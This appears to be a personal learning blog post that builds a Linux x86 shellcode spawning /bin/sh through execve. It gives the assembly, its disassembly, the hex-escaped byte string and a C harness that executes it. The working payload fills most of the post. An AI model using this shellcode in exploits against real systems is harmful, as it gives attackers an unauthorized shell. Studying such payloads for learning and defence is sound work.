my first shellcode
implementing sys_execve in asm was a pain. but i had to do that first on a normal assembly listing before doing anything else. i saw two implementations. one made use of the stack, which i happen to fancy. and the second one uses a predefined string.
i tried both styles but for this entry, i'll be showing the shellcode that utilizes the stack.
global _start
section .text
_start:
; setreuid code block here
jmp short .setup
.spawnshell:
pop ebx ; ebx holds string address
lea esp, [esp-8] ; room on stack
and esp, -8
mov [esp], ebx ; first dword holds string addr
xor eax, eax
mov [esp+4], eax ; second dword holds null
mov al, 11
lea ecx, [esp]
lea edx, [esp+4]
int 0x80
.setup:
call .spawnshell
db '/bin/sh'
[ explain ]
one must have noticed this by now, how come we first need to jump to the last part of our shellcode where we declared our string? moreover, how come the string get's declared last?
it’s because we want to have a negative address offset to the call instruction. otherwise, we will have null bytes. since the address passed is a dword. we actually never reach the very last line of the shellcode (which happens to be the string declaration) in order to execute it. also, sys_execve overwrites the calling program's text, data, bss and stack segment with that of the program being loaded.
Disassembly of section .text: 080480a0 < .text>: 80480a0: eb 1f jmp 0x80480c1 80480a2: 5b pop %ebx 80480a3: 8d 64 24 f8 lea 0xfffffff8(%esp),%esp 80480a7: 81 e4 f8 ff ff ff and $0xfffffff8,%esp 80480ad: 89 1c 24 mov %ebx,(%esp) 80480b0: 31 c0 xor %eax,%eax 80480b2: 89 44 24 04 mov %eax,0x4(%esp) 80480b6: b0 0b mov $0xb,%al 80480b8: 8d 0c 24 lea (%esp),%ecx 80480bb: 8d 54 24 04 lea 0x4(%esp),%edx 80480bf: cd 80 int $0x80 80480c1: e8 dc ff ff ff call 0x80480a2 80480c6: 2f das 80480c7: 62 69 6e bound %ebp,0x6e(%ecx) 80480ca: 2f das 80480cb: 73 68 jae 0x8048135
and based on those opcodes we construct a shellcode in c. we have a function pointer that points to our string where we placed our shellcodes. notice that each two byte value is prefixed by a "\x". this denotes that the value is hexadecimal.
char stack[]="\xeb\x1f\x5b\x8d\x64\x24\xf8\x81\xe4\xf8\xff\xff\xff\x89" \
"\x1c\x24\x31\xc0\x89\x44\x24\x04\xb0\x0b\x8d\x0c\x24\x8d" \
"\x54\x24\x04\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
typedef int (*fp)();
void exec(int (*fp)())
{
fp();
}
int main(int argc, char **argv)
{
exec((fp)stack);
return 0;
}
